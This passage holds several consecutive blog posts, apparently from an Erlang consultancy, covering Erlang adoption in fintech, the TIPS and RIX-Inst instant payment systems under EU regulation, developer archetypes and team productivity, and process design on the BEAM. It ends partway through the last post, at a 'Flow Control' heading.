Building a distributed architecture is also essential for maximizing Erlang’s benefits in fintech. Erlang's native support for distributed systems makes it easy to run applications across multiple nodes, which enhances scalability and redundancy.

Overcoming Common Challenges When Adopting Erlang

While Erlang offers substantial benefits, some organizations may face perceived challenges when adopting it, such as concerns about a steep learning curve or integrating with existing technology stacks. However, Erlang's design makes it surprisingly easy to learn for developers who are already proficient in other languages, allowing them to become productive in just a few weeks. The language’s syntax is straightforward, and its functional programming model, while different from imperative styles, is intuitive for developers who are open to thinking in terms of processes and message-passing.

To overcome initial hesitations, companies should focus on effective onboarding and training. Introducing developers to Erlang through hands-on workshops, guided tutorials, and real-world problem-solving exercises can accelerate the learning process. Engaging experienced Erlang mentors or consultants, such as those from Happi Hacking, can also help flatten the learning curve, providing practical insights and best practices from seasoned professionals. Additionally, leveraging the rich community resources available online-such as forums, open-source projects, and documentation-can support developers in quickly getting up to speed.

Integrating Erlang with an existing technology stack, which might already include languages like Python, Java, or C#, can also be a concern. However, Erlang is highly interoperable, and its distributed architecture makes it well-suited to work alongside other systems. Hybrid systems where Erlang handles the concurrent and fault-tolerant components while other languages manage user interfaces, reporting, or legacy functions are feasible. APIs, middleware, and libraries help ensure that Erlang-based applications communicate effectively with existing systems. Erlang’s compatibility with Elixir also offers a pathway for organizations to gradually adopt Erlang’s strengths while leveraging their existing development talent.

Performance tuning is another area where developers may initially struggle, but Erlang provides powerful and well-documented tools and techniques for optimization. Regular monitoring using tools like observer and recon, along with proactive performance adjustments such as garbage collection tuning and optimizing process handling, can significantly improve system performance. Encouraging developers to experiment with these tools and techniques in controlled environments can help build confidence and expertise.

The Future of Erlang in Fintech

As fintech continues to evolve, the demand for systems that are both highly scalable and resilient will only increase. Erlang is well-positioned due to its strengths in managing concurrency, fault tolerance, and distributed computing. The future of Erlang in fintech looks promising, particularly as financial services continue to shift towards real-time transactions, greater automation, and increasingly complex regulatory requirements.

One area where Erlang is expected to shine is in real-time payments and settlement systems. As instant payments become more ubiquitous, the need for reliable, low-latency processing will grow. Erlang's capabilities align perfectly with this need, making it an ideal choice for powering back-end systems that handle high-frequency trading, cross-border payments, and instantaneous currency exchanges. Moreover, as digital currencies and blockchain technology gain traction, Erlang's ability to handle large volumes of transactions in a secure and efficient manner will make it a valuable tool for developing and managing blockchain nodes and decentralized finance (DeFi) platforms.

Erlang is also likely to find increased application in the realm of artificial intelligence (AI) and machine learning (ML) within fintech. With its strong support for real-time data processing and distributed computing, Erlang can be used to build AI-driven analytics platforms that detect fraud, predict market trends, and enhance customer experiences. As the financial industry increasingly adopts AI and ML for real-time decision-making, Erlang's unique advantages in handling large-scale, real-time data flows will become even more relevant.

The potential for Erlang to integrate with emerging technologies, such as edge computing, also positions it well for future growth. As the fintech industry continues to innovate, Erlang's flexibility and adaptability will make it a suitable choice for companies looking to stay ahead of technological trends. Its compatibility with Elixir-a language designed for scalable web development-further broadens its applicability in developing customer-facing platforms that require real-time data processing and high concurrency.

Looking ahead, I hope to see more fintech companies recognize the unique advantages of Erlang and consider it as a strategic choice for building their systems. With its proven capabilities in delivering reliability, scalability, and performance, Erlang has the potential to become a key technology for those seeking to build robust, high-volume transaction systems.

Conclusion and Call to Action

Erlang offers a powerful solution for fintech companies aiming to build reliable, scalable systems capable of handling high transaction volumes. Its unique features, such as fault tolerance, real-time performance, and efficient process management, make it an ideal choice for the evolving needs of the financial sector. As real-time payments, AI-driven analytics, and advanced technology integration continue to shape the future of fintech, Erlang's relevance will only grow.

I hope more fintech companies will explore the benefits of using Erlang to optimize their systems, leveraging its strengths to stay competitive and meet the demands of an ever-changing market. If you're looking to harness Erlang's potential, Happi Hacking can provide expert consultancy services to guide you in building high-performance systems. Additionally, Kindio is available to assist with managing Euro and SEK transactions, ensuring compliance and efficiency.

To deepen your understanding of Erlang and its applications, check out these resources:

The BEAM Book: A comprehensive guide to the Erlang virtual machine, ideal for developers looking to get started with or deepen their knowledge of Erlang.
Designing Concurrency: The Erlang Way: An article that dives into the principles of designing concurrent applications using Erlang, providing practical insights and examples.
Neural Networks in Elixir: Explore how Elixir, a language built on the Erlang VM, can be used for building scalable machine learning applications.
Delta: Designing Financial Systems for Performance: An article discussing the principles of designing high-performance financial systems, relevant to those using Erlang in fintech.
Aeternity Blockchain: Learn about Aeternity, a blockchain platform that uses Erlang for its backend, highlighting the language’s applications in blockchain technology.
Erlang powering Internet on Twitter: Cisco telling the world that Erlang controls the Internet.

Feel free to explore these resources to get a deeper understanding of Erlang and how it can be applied to solve complex challenges in the fintech world. Reach out to Happi Hacking or Kindio for more personalized guidance and to discuss how we can support you in building efficient, reliable fintech systems.

TIPS and RIX-Inst: Navigating the Future of Real-Time Payments in the EU

2024-09-03T00:00:00Z

In Europe, the way people pay for things is changing. Real-time payment systems that allow instant transfers are becoming the standard. Sweden is leading this transformation with Swish, a popular mobile payment platform that has revolutionized everyday transactions by offering instant, secure payments between individuals and businesses. Systems like TIPS (TARGET Instant Payment Settlement), and RIX-Inst in Sweden, are further driving the shift towards real-time payments across the continent.

The European Union is introducing new directives that impact how fintech companies must operate within this environment. In this post, we will give an overview of what TIPS and RIX-Inst mean for the future of real-time payments, the technical and operational requirements for integrating these systems, and how to navigate the latest EU directives to ensure compliance and competitiveness.

Understanding TIPS and RIX-Inst

TIPS and RIX-Inst are instant payment systems that enable real-time, round-the-clock fund transfers between European banks and financial institutions.

TIPS (TARGET Instant Payment Settlement): Launched by the European Central Bank (ECB) in 2018, TIPS is part of the TARGET services. It allows payment service providers to transfer funds across Europe in seconds, 24/7, regardless of the time, day, or public holidays. TIPS ensures immediate settlement of payments directly in central bank money, which minimizes counterparty risk and enhances security and trust in the payment process.

RIX-Inst: Operated by the Swedish central bank, Sveriges Riksbank, RIX-Inst is the Swedish equivalent of TIPS. It provides instant settlement for payments in Swedish kronor (SEK). It aims to meet the growing demand for immediate payments in Sweden, where consumers and businesses expect their financial transactions to be processed instantly and securely.

TIPS and RIX-Inst are critical components of the EU's vision for a Single Euro Payments Area (SEPA), where cross-border payments within the Eurozone are as simple, fast, and cost-effective as domestic payments.

Key Features and Benefits

Real-time payment systems like TIPS and RIX-Inst facilitate immediate funds transfers, reducing settlement risk and enhancing liquidity for financial institutions. They offer 24/7 availability, allowing transactions any day or night, which provides convenience and flexibility to customers and businesses. TIPS also allows for cross-border transactions across the Eurozone, while RIX-Inst focuses on the Swedish market with potential future integration possibilities. Settling payments in central bank money eliminates counterparty risk, ensuring greater security and trust.

Technical and Operational Requirements for Integration

Integrating with TIPS or RIX-Inst requires a solid understanding of both the technical and operational landscapes. Payment service providers must implement and maintain APIs that meet the requirements set by the ECB for TIPS or the Riksbank for RIX-Inst, ensuring compatibility with ISO 20022 messaging standards, the global standard for financial messages. The systems must handle large volumes of data and transactions quickly without compromising accuracy or security.

Ensuring security is crucial for instant payment systems. Institutions must implement robust encryption, multi-factor authentication, and secure coding practices to protect against fraud and data breaches. Compliance with local and international regulations, such as PSD2 (Payment Services Directive 2), requires secure communication channels and strong customer authentication (SCA).

The underlying IT infrastructure must support high availability, low latency, and scalability to handle peak transaction loads. I plan to write more about this in a future blog post.

Regulatory Compliance and Adherence to New EU Directives

The European Union has introduced several new directives that impact real-time payment systems like TIPS and RIX-Inst. Key among these are the revised Payment Services Directive (PSD2), the upcoming Digital Operational Resilience Act (DORA), the Market in Crypto-assets Regulation (MiCA), and the Instant Payments Regulation (IPR).

PSD2 (Revised Payment Services Directive): PSD2 has fundamentally reshaped the payment services industry by promoting competition, innovation, and transparency. It mandates open banking, where banks must share customer data with third-party providers (with customer consent) via APIs. For fintech companies, this means ensuring compliance with PSD2 requirements, particularly in secure communication, strong customer authentication, and transparency.

DORA (Digital Operational Resilience Act): Expected to be fully in force by 2025, DORA aims to bolster financial institutions' operational resilience against digital risks. It requires firms to ensure that their ICT systems can withstand, respond to, and recover from all ICT-related disruptions and threats. For companies integrating with TIPS or RIX-Inst, DORA compliance will involve strengthening cybersecurity measures, implementing robust risk management frameworks, and undergoing regular digital resilience testing.

MiCA (Market in Crypto-assets Regulation): MiCA provides a regulatory framework for digital assets, including cryptocurrencies, across the EU. While not directly related to TIPS and RIX-Inst, MiCA could impact fintech firms exploring blockchain or cryptocurrency integrations with instant payment systems. Companies must understand how MiCA’s provisions may affect their digital asset strategies and ensure compliance where relevant.

IPR (Instant Payments Regulation): The Instant Payments Regulation (IPR) aims to make instant payments in the euro currency universally available across the European Union. It builds on the existing Single Euro Payments Area (SEPA) Regulation to ensure that all payment service providers offer instant payment services in the euro, making it mandatory for these services to be accessible, affordable, and secure. IPR requires that the cost of an instant payment should not exceed that of a regular credit transfer, and it mandates that providers screen transactions against sanctions lists at least daily. For fintech companies, aligning with IPR means ensuring their systems can process instant payments in compliance with these new rules, potentially expanding their market reach while maintaining competitive pricing and robust security standards.

Implementing the New EU Directives

Fintech companies should stay updated on regulatory changes by regularly monitoring updates from the European Central Bank, the European Banking Authority, and other relevant regulatory bodies. Developing flexible compliance frameworks that can quickly adapt to new regulations is crucial, and leveraging technologies like AI and machine learning to monitor transactions, automate compliance checks, and enhance fraud detection capabilities will help.

Opportunities for Fintech Companies

Integrating with real-time payment systems offers several opportunities for fintech companies to enhance their market position and drive growth. One key advantage is the ability to provide an improved customer experience by offering immediate fund transfers with unparalleled speed and convenience. As consumers increasingly expect instant transactions, fintech companies that adopt these systems can differentiate themselves with faster, more efficient payment services, boosting customer satisfaction and loyalty. Additionally, integrating with TIPS facilitates seamless cross-border transactions within the Eurozone, enabling companies to expand their service offerings to a broader audience without costly infrastructure adjustments. This ability to reach new markets supports international growth strategies and attracts new customers, strengthening a company’s competitive edge.

Moreover, by adopting TIPS and RIX-Inst, fintech companies can reduce operational costs and risks. Settling payments in central bank money minimizes counterparty risk, lowering the need for expensive risk management processes and freeing up capital for innovation and growth. Real-time settlements also improve cash flow management and provide better company and customer liquidity. Aligning with EU directives such as PSD2, DORA, and MiCA further enhances a company's secure, reliable, and future-ready reputation, building trust with customers, partners, and regulators. Proactive compliance avoids legal penalties and creates opportunities for new products and services that cater to the growing demand for instant payments, such as premium real-time payment options or innovative mobile solutions. This way, fintech companies can secure new revenue streams, strengthen fraud prevention and security, and leverage advanced technologies like AI and blockchain to stay at the forefront of innovation.

Conclusion

Adopting real-time payment systems such as TIPS and RIX-Inst is a big change for the European fintech sector. It offers new chances for innovation, efficiency, and growth. However, integrating these systems comes with challenges, particularly regarding new EU directives like IPR, PSD2, DORA, and MiCA. Fintech companies that proactively adopt these systems and align with regulations are better positioned to capitalize on growth opportunities and stay ahead of the competition. If your organization is ready to integrate with TIPS and RIX-Inst but needs expert guidance, contact Kindio. This instructing party can help you seamlessly implement these real-time payment systems. Contact Kindio today to learn how they can support your transition to instant payments and help you comply with the latest EU regulations.

Developer Types

2024-05-15T00:00:00Z

The prototyping Monkey is a bit sceptical because he got two managers instead of developers to take over his product...

In a recent blog post I explored team performance in software development. Following this, I received a question on LinkedIn about strategies to enhance team cohesion and motivation. My response highlighted an analogy by Mike Williams, categorizing programmers as Monkeys, Tigers, and Elephants. This analogy, drawn from Mike Williams' presentation, How Not to Run a Software Project, is valuable for understanding software development team dynamics.

In this post, I will expand upon this analogy and explore how recognizing these programmer types can significantly improve team effectiveness and project management. In his talk, Mike Williams emphasizes that developers who specialize in prototyping, making, and maintaining products have distinct skills and mindsets.

In the initial stage, when you start from a blank slate, you require developers adept at navigating uncertainty and swiftly adapting to changing needs. Like 'Monkeys' in Mike's analogy, these developers are innovators at heart. They excel in environments that demand creativity and the ability to change and adapt.

As the project moves from prototype to production, the role shifts to developers who mirror the characteristics of 'Tigers.' This phase needs individuals who can focus intensely and drive the project forward precisely. These developers refine the initial prototypes into fully functional products, ensuring that every aspect is optimized and scalable for market readiness.

Once the product is launched, the focus turns to maintenance, a task suited to consistent and reliable developers, like 'Elephants.' These developers are crucial for a product's long-term success as they manage updates, fix bugs, and make iterative improvements based on user feedback. Their thorough understanding of the product and its underlying architecture enables them to enhance its stability and functionality over time.

Prototyping a Product and the Monkey Developer

Phase Description

Prototyping a product is the early stage of software development, in which the focus is on turning concepts into software. This phase is marked by a high degree of inventiveness and agility. Developers in this stage are expected to embrace uncertainty and experiment with new ideas and approaches. The nature of this work demands frequent iterations and a willingness to discard or reshape ideas as they evolve. This phase often produces incomplete solutions that are not ready for production. Developers here are comfortable working with prototypes that only cover some functionalities and only handle very specific cases. The key is to develop enough to test theories and gain valuable insights without expecting perfection.

Team Composition and Qualities

The team typically comprises a small group (fewer than 8 members) of highly autonomous and egocentric individualists. These members are often good developers with extensive technological knowledge. They are pioneers who thrive on challenges and are continuously pushing the boundaries of what's technologically feasible. Their work is driven by a passion for innovation and a desire to explore new territories without the constraints of fully finalized solutions.

Animal Metaphor - Monkey

The Monkey metaphor encapsulates the spirit of the prototyping phase. Monkeys are playful, agile, and intelligent, characteristics that are crucial for developers during this early and fluid stage of product development. Known for their quick adaptability and innovative problem-solving skills, monkeys aptly represent developers who are adept at navigating the often chaotic and unpredictable challenges of creating new technologies. Their ability to swiftly adapt and pivot as needed aligns well with the demands of prototyping, where flexibility and rapid iteration are more critical than perfection and completeness. They are also a bit careless and don’t worry too much if things work out or not.

A Real-Life Monkey

I am a Monkey developer. I can quickly jump from a crazy idea to code. I usually have a proof of concept working in a few hours or days. Well, when I say working, some code works for the happy path, and if the moon is in the right place, you can demo it to people, and it looks ok. But don't let anyone else use the product because things will fall apart if you do anything outside the demo specification. And don't let anyone look at the code because it has been thrown together as a series of experiments where the concepts have shifted while I have discovered the problem domain. The naming is inconsistent at best, and only the most obvious cases are handled.

Monkey me.

Making a Product and the Tiger Developer

Phase Description

The Making a Product phase shifts from conceptual prototyping to focused development, aiming to transform early prototypes into reliable, scalable, and production-ready software. This stage requires high precision as developers refine and optimize their initial ideas into a cohesive product that meets specific market and functional requirements. It is characterized by structured development, stringent testing, and a systematic approach to ensure that all elements of the software function seamlessly together. The goal is to solidify the architecture, enhance features, and prepare the product for deployment, adhering to industry standards and user expectations.

Team Composition and Qualities:

This phase typically involves larger teams than the prototyping stage but still operates under the guidance of focused, driven individuals who excel in project management and detail-oriented tasks. The team members, often resembling Tigers in their work style, are known for their tenacity and ability to drive projects to completion. They focus on achieving goals and are adept at navigating the complexities of turning a rough concept into a polished product. These developers are critical thinkers who can execute precise adjustments and optimizations to enhance product performance and reliability.

Animal Metaphor - Tiger:

The Tiger metaphor is apt for developers in the Making a Product phase due to the tiger's focus, strength, and determination attributes. Just as a tiger hunts with precision and does not waver from its target, Tiger developers focus on their objectives, tackling each task with intensity and a clear vision of the end goal. Their strategic approach and powerful presence are essential in ensuring the project progresses steadily toward completion, mirroring the tiger's role in maintaining control and leading the pack through the development jungle. This phase demands resilience and a commanding grasp of software development's technical and managerial aspects, qualities that Tiger developers embody perfectly.

A Real-Life Tiger

My good friend and often co-worker Tobias Lindahl is an excellent example of a Tiger programmer. When we work together on a project, he picks up where I left off-grumbling about shoveling through my s**t. He dots the i's and crosses the t's, handling all the errors and non-trivial cases I skipped. Tobias has the patience to think through all possible problems and solutions, and then he transforms my mockup or proof of concept into a genuine product.

He can not stand broken or unfinished things. He likes to fix things at home, in the office, and in code. He wears cargo pants and brings a screwdriver with him everywhere.

Maintaining a Product and the Elephant Developer

Phase Description:

The Maintaining a Product phase focuses on the long-term sustainability and evolution of the software after its launch. This stage involves continuous monitoring, updating, and enhancing the product to ensure it remains relevant, functional, and competitive. Developers in this phase are tasked with addressing bugs, implementing enhancements based on user feedback, and adapting the product to new technologies or market conditions. This phase is crucial for ensuring the software's stability and extending its life cycle through careful, incremental improvements and meticulous attention to detail.

Team Composition and Qualities:

The team in this phase generally consists of dedicated, experienced developers capable of deep focus and a thorough understanding of the product’s history and underlying architecture. Often referred to as Elephant developers, these individuals are known for their reliability, methodical approach, and memory for detail. They are adept at managing complex systems and can navigate large codebases to diagnose and fix issues effectively. Their work ensures the product’s performance is consistently optimized and adapts over time to meet evolving user needs.

Animal Metaphor - Elephant:

The Elephant metaphor captures the essence of developers in the Maintaining a Product phase. Elephants are renowned for their intelligence, memory, and stability-indispensable for maintaining complex software systems. Like elephants, these developers are calm, patient, and capable of handling large-scale tasks that require a long-term commitment and a detailed understanding of past interactions within the system. Their role is less about rapid innovation and more about consistency, reliability, and gradual enhancement. They bring wisdom and foresight to the development team, making strategic decisions that impact the product’s future viability and success.

A Real-Life Elephant

My friend and colleague Richard Carlsson embodies the mindset and abilities of an Elephant developer, excelling in software development's maintenance and enhancement phase. Maintainers like Richard possess meticulous attention to detail and a deep understanding of the systems they work with. He often invest significant time in comprehending a system thoroughly before implementing any changes. Then, when he knows what he is doing, he is known for being willing to modify all files in an entire system to ensure proper naming conventions and improve code clarity.

His ability to delve deeply into a codebase's intricacies allows him to make informed and thoughtful changes, minimizing the risk of introducing new issues while resolving existing ones. Elephant developers like Richard prioritize stability, reliability, and efficiency. They have a keen eye for detail and a strong sense of responsibility towards the systems they manage. They focus on ensuring that software continues to meet user needs and adapts to evolving requirements while maintaining a high standard of code quality. Because of the time invested in understanding a system and domain, replacing a good maintainer is hard and expensive.

Now we have a proper team...

The Quest for Enhanced Productivity in Software Development

2024-04-28T00:00:00Z

In late 2009, Sebastian Siemiatkowski, the CEO of Klarna, and I embarked on a series of enlightening discussions with leading technology companies in Stockholm, including Google, Tail-f, Pricerunner, Dice, Avanza, Ericsson, Bwin, and Virtutech. Our aim was to understand how successful companies cultivate their teams, enhance productivity, and manage their processes by understanding their corporate culture, strategies, and management practices.

Our conversations revealed a universal problem within the industry: defining and measuring productivity. From Google to Ericsson, every company seemed to grapple with similar questions-How do we measure productivity effectively? How do we set meaningful goals? What best motivates our developers? And crucially, how do we attract and retain top talent? The challenge of measuring productivity proved to be the most formidable. Mike Williams from Ericsson suggested that productivity isn't always quantifiable in objective terms; instead, it demands a managerial perspective that’s partly subjective. Ericsson, for instance, tracks metrics like hours spent per bug as a measure of quality. On the other hand, Google employs a peer review system where developers are assessed by their teammates, underscored by a dual reward system that motivates individual and team performance.

Setting goals was another area where commonality was found. Successful organizations like Google have a top-down yet participatory approach to goal setting. Managers provide strategic direction-such as improving response times for a specific product-and teams are encouraged to propose specific, measurable targets. These goals are then fine-tuned through a collaborative dialogue between managers and teams, ensuring the targets are ambitious yet achievable, with clear rewards tied to their accomplishment.

When it comes to motivation, we discovered that while monetary bonuses are prevalent, intrinsic motivators such as career progression opportunities and a vibrant, creative work environment also play significant roles. Companies that manage to create an engaging and supportive workplace culture boost motivation and enhance overall job satisfaction among developers. Finally, recruiting and retaining top talent seems to hinge on the attractiveness of the company culture. High-performing developers tend to attract peers of similar caliber. Our discussions highlighted the importance of a meticulous recruitment process, where technical challenges and team interviews play a crucial role in ensuring cultural and technical fit.

These dialogues revealed an essential truth in software development: the right mix of people simplifies many operational challenges. By focusing on creating a supportive culture, encouraging open dialogue about goals, and recognizing both team and individual achievements, companies can enhance productivity and foster innovation and satisfaction among their teams. I got reminded of this interview tour by an article in Inc Magazine through a LinkedIn post.

Now, 15 years after those initial insightful discussions, my role as a consultant has afforded me a wider view of the software development landscape across various types and sizes of companies. Despite the passage of time and the advent of new technologies, the core challenges remain remarkably consistent. The difficulties are universal, from small startups endeavoring to realize ambitious ideas to large corporations with thousands of developers. These large organizations often implement frameworks like SAFe or other methodologies to instill order and coherence across teams of teams. Yet, they continue to confront the same fundamental questions about productivity, motivation, goal-setting, and recruitment.

A recurring theme in my observations is the central importance of the team. I later expanded on this in Developer Types, where I discuss how different programmer archetypes (Monkeys, Tigers, Elephants) affect team composition. The dynamics within these groups, their collaborative efficiency, and their collective skill set are often the linchpins of project success or failure. A well-aligned team can navigate complex challenges and drive projects to success, reinforcing that the collective is often greater than the sum of its parts.

The quality of leadership is perhaps even more important than any other factor in an organization. Leaders who possess a clear vision and the bravery to pursue it are essential in guiding their teams through challenging situations. The ability to set clear goals, motivate teams, and make decisive decisions is the key to success - as long as they have the courage to act. As I continue to engage with different companies, it becomes increasingly clear that while the tools and technologies evolve, the human elements of team dynamics and leadership remain key determinants of success in software development. To thrive in this field an organisation need to address these age-old challenges with innovative approaches and steadfast leadership. One of the most valuable things that can be learned from Sebastian is the importance of proactively seeking out and building relationships with experts in a particular field. By gaining insights and knowledge from those who have already excelled, we can accelerate our own progress and success. Don't hesitate to tap into the vast resources available and learn from the best.

Designing Concurrent Systems on the BEAM

2024-03-09T00:00:00Z

Designing Concurrent systems on the BEAM

Introduction

Concurrency is a necessity when developing larger software systems. It reflects our world's inherent complexity, where multiple events occur simultaneously, demanding systems that can multitask efficiently.

The BEAM's concurrency model, grounded in the actor model, prioritizes lightweight processes. These processes operate in isolation, without shared memory, communicating solely through message passing. This architecture minimizes the risk of system-wide failures due to process errors. The BEAM's preemptive scheduling also ensures fair process execution time, preventing any single process from dominating the system. This model makes building efficient, reliable, scalable, and maintainable systems much more effortless.

Understanding BEAM's approach to concurrency allows developers to take advantage of these features in the best possible way. In this post, I will not go into the details of how the BEAM works; I have written a whole book on the subject: The BEAM Book. Instead, I will focus on how to think about processes and concurrency when designing concurrent systems. I will recap the most important aspects of the BEAM’s concurrency model so that we understand what we are building on.

BEAM’s Concurrency Model

BEAM's concurrency model uses the actor model. This model has the following defining characteristics: lightweight processes, process isolation, signals (including message passing), and scheduling.

BEAM handles concurrency through lightweight processes managed by the BEAM VM rather than the underlying operating system. These extremely lightweight processes allow thousands or even millions of concurrent processes without significant overhead. Each process in the BEAM runs in complete isolation from others, with no shared memory. Isolation ensures that failure in one process does not directly impact another, enhancing fault tolerance and system reliability.

Communication between processes in the BEAM is achieved exclusively through signals. This mechanism ensures the decoupling of processes, as they do not share state directly. The most used signal is the message signal, which allows one process to send a message to another asynchronously. The BEAM uses preemptive scheduling that allocates execution time to processes. Preemptive scheduling prevents any single process from monopolizing the system and ensures that all processes are serviced appropriately.

These features and the built-in constructs for error handling make it easy to build fault-tolerant and resilient systems, for example, through supervisors and supervision trees.

The lack of true process isolation in most programming languages and environments is the root cause of the rising popularity of microservices.

Processes ≠ Code

A common misconception in designing systems with BEAM is equating processes with modules, gen_servers, or the specific code that is spawned. This view muddles the understanding of the architecture and misses the depth of BEAM's concurrency model. Let's dissect this notion with a clear, logical approach to appreciate the distinction between processes and the code they execute.

A process in the BEAM environment is an independent entity capable of executing code. However, it's crucial to understand that the process is not the code. The process is the executor that brings code to life. A process can run any code assigned to it, whether it's a simple function or a complex gen_server. This versatility means that processes are not inherently tied to the nature or purpose of the code they execute. Understanding that processes are separate from the code they execute has significant implications for system design. Since processes are independent executors, they isolate code execution, preventing failures in one process from directly affecting others. It becomes easier to manage concurrency as each process is a distinct execution unit. Developers can spawn, monitor, and control processes dynamically, adapting to the system's concurrent demands without being bogged down by the specifics of the code within each process.

A developer needs to understand that when he looks at the code in a module, this code can be executed by any process. Even if a module has a start function that spawns a process to execute, for example, a server loop in the module, it does not mean that the module is that server. Some other process executes the code that does the spawning, so the server process does not execute the start function. On the other hand, the server loop will probably contain several calls to functions in other modules. Hence, the server process is not limited to executing the code in the module either. Now that we have clearly distinguished between code and processes and realized that the code is not the process, how should we think about processes?

Visualizing Processes as Gnomes

When designing concurrent systems on the BEAM, it can be helpful to personify processes to understand their roles and interactions better. One such visualization is to think of processes as gnomes or workers in a complex, bustling workshop. Each gnome has its tasks, knowledge (state), and means of communication, working independently yet contributing to the workshop's overall goals. This metaphor offers a tangible way to grasp BEAM's abstract concepts of process management, state, and communication.

Imagine each gnome as an independent worker with a specific job. In the context of BEAM, these jobs are described in the code processes execute. Like gnomes, processes operate independently, holding their state in their "heads." This state is private and unique to each process, mirroring how each gnome knows only what is in its head.

Communication among gnomes is akin to asynchronous message passing in BEAM. They "talk" by sending messages to each other without expecting an immediate response, allowing them to continue their tasks without waiting. This method of communication increases the level of concurrency and efficiency in the system, ensuring that no single gnome or process becomes a bottleneck.

Each gnome reads the instructions (code) and performs the described task. This step-by-step execution highlights the process's role as an executor of code, adhering to the earlier principle that processes are not the code itself but rather the entities that bring the code to life. Reading and executing instructions emphasizes the dynamic nature of process-based execution, where each process can handle diverse tasks depending on the code. Just as gnomes might sometimes encounter difficulties or confusion in their tasks, processes in BEAM can also run into issues that hinder their execution. Here, the concept of supervision comes into play. Supervisors are akin to wise, overseeing gnomes who ensure that if any worker encounters a problem, the issue is addressed promptly-restarting the task, reassigning it, or taking corrective measures. This supervision mechanism is essential for building resilient systems that can recover from failures and continue operating smoothly.

Visualizing processes as gnomes or workers enriches our understanding of concurrent systems on BEAM, making abstract concepts more relatable and easier to grasp. This metaphor helps developers and system architects envision architecture as a lively ecosystem of independent yet interconnected entities, each with its role, state, and means of communication. It underscores the importance of designing systems that are efficient, scalable, and robust enough to handle failures gracefully, ensuring uninterrupted operations.

By embracing this visualization, we can approach system design with a clearer, more tangible perspective, fostering creativity and innovation in building and managing concurrent systems on the BEAM. It's a reminder that at the heart of every complex system, there are simple, fundamental principles guiding its operation-principles that, when understood and applied effectively, can lead to the creation of truly exceptional software. I expand on this metaphor in much more detail in the Gnomes, Domains, and Flows series.

Think About Tasks when Dividing Responsibility

A fundamental aspect of designing concurrent systems on BEAM involves defining tasks and assigning responsibilities to processes. A clear, logical approach to task allocation enhances the system's efficiency and reliability. This section outlines a methodology for deciding process responsibility by focusing on task completion from start to finish, illustrating with examples for clarity.

In BEAM, each process should be responsible for a specific task, ensuring it can be executed from inception to completion. This principle of dedicated responsibility simplifies system design, making it easier to debug, scale, and manage. It aligns with encapsulation, where each process, like a microservice, independently manages its state and behavior.

Let's consider a real-world example to illustrate task allocation: a web application that handles user registration, data processing, and notifications. In this scenario:

User Registration Process: This process handles everything related to registering a new user - from receiving the registration request to validating the data and storing the user's information in the database. Data Processing Process: Once a user is registered, a separate process might handle data processing tasks, such as analyzing user data for insights or preparing the data for other parts of the system.
Notification Process: A distinct process could manage sending notifications to users, whether a welcome email post-registration or alerts based on user activity.

For larger, more complex tasks, dividing the task into subtasks executed by other processes ensures manageability and scalability. Consider a process responsible for handling a high-volume data analysis task. This process can delegate specific analytical tasks to subprocesses:

Main Data Analysis Process: Coordinates the overall task, receiving the initial request and returning the final report. Subprocesses for Analysis: Performs detailed analysis of parts of the data.
Subprocess for Report generation: Gathers results from all analyses and prepares a comprehensive report.

Each subprocess is responsible for its task from start to finish, ensuring clear boundaries and simplifying the development and troubleshooting processes.

The key is to ensure that one process is ultimately responsible for a task from start to finish. This does not preclude it from delegating parts of the task to other processes. It also implies that it coordinates the overall task, including initiating subprocesses and compiling their outcomes into a final result. This approach maximizes the benefits of BEAM's concurrency model, allowing for efficient parallel processing while maintaining order and accountability.

Thinking of task allocation and process responsibility has several advantages. The system architecture becomes easier to understand and maintain by assigning clear responsibilities. Isolating tasks to specific processes improves the system's ability to recover from errors, as failures are contained within individual processes. It becomes easier to scale the system by adding more processes to handle the increased load or by optimizing individual processes for performance.

Structuring Systems by Thinking About Flow

In concurrent system design, especially within the BEAM environment, an alternative approach to defining process responsibilities is conceptualizing the system in terms of flow. This method emphasizes the movement and transformation of data or tasks through the system, offering a dynamic perspective that complements the task-centric view. By focusing on flow, designers can identify natural divisions within the system, leading to a more intuitive distribution of processes that align with the system's operational logic.

Flow refers to the sequence and interaction of operations within a system to achieve a specific outcome. It encompasses the path data takes from input to output, including all intermediate processing steps. Visualizing a system’s flow helps identify key points where processes can be introduced to handle specific workflow segments efficiently.

Mapping out the flow shows how data or tasks move through the system, highlighting dependencies and potential bottlenecks. By examining the flow, developers can pinpoint logical points to introduce processes. These points often correspond to changes in data state, decision branches, or integration with external systems. Structuring systems around flow makes it easier to scale or modify parts of the system independently, as the impact on the overall workflow is clearer. Understanding the flow aids in tracing issues within the system, as it maps the path of data or tasks through various processes.

To effectively implement a flow-based approach in BEAM systems, consider the following strategies:

Event-Driven Processes: Design processes that are triggered by specific events in the flow, ensuring that they are reactive and aligned with the system’s operational dynamics.
Pipeline Architecture: Construct a pipeline where each process is a stage in the flow, receiving input, performing its operation, and passing the output to the next stage. This model is particularly effective for data processing and transformation tasks. State Management: For complex state management flows, consider using processes to encapsulate stateful operations, ensuring that state changes are localized and manageable.
Flow Control Processes: Implement processes dedicated to controlling the flow, such as routing, load balancing, and error handling, to maintain smooth operation across the system.

Imagine a web application that processes user requests. The flow begins with receiving the request, validating it, processing it (e.g., querying a database), and finally responding to the user.

Request Receiver Process: Handles incoming requests, acting as the entry and exit point of the flow.
Validator Process: Checks the validity of the request before further processing.
Data Processor Process: Interacts with the database or performs the core logic based on the validated request.
Response Process: Compiles the response and returns it to the receiver process.

Each process represents a distinct stage in the flow, with clear responsibilities and interactions defined by the sequence of operations handling a web request.

Thinking about flow offers a complementary perspective to task-based process division in BEAM systems, focusing on how data and tasks move and transform. This approach facilitates a clear, logical structure for concurrent systems, enhancing understandability, scalability, and maintainability. By aligning processes with the natural flow of operations, designers can create efficient, responsive systems that effectively leverage the concurrent capabilities of the BEAM environment.

Process Archetypes in BEAM Systems

When constructing a BEAM system, the design of processes can benefit from categorizing them into specific archetypes. These archetypes assist in organizing the processes according to their purpose and behavior and facilitate a more robust and maintainable system structure. Here are examples of process archetypes within BEAM systems:

Workers

Pool Workers: These are processes designed to handle a queue of tasks, typically managed by a pool supervisor. They are ideal for tasks that can be executed in parallel, maximizing resource utilization.
Short-lived Workers: These workers are used for one-off, transient tasks that do not require maintaining a state after completing their job. They are often used for infrequent or minor tasks and do not justify the overhead of a pool of long-lived processes. To avoid garbage collection, spawn up a worker process with a large enough heap for the task and let it die when it is done, immediately reclaiming all the memory.
Servers: Long-lived workers like gen_servers are designed to handle ongoing tasks and maintain state over time. They're the backbone of many systems, managing consistent state and providing services to other parts of the system.

Flow Control

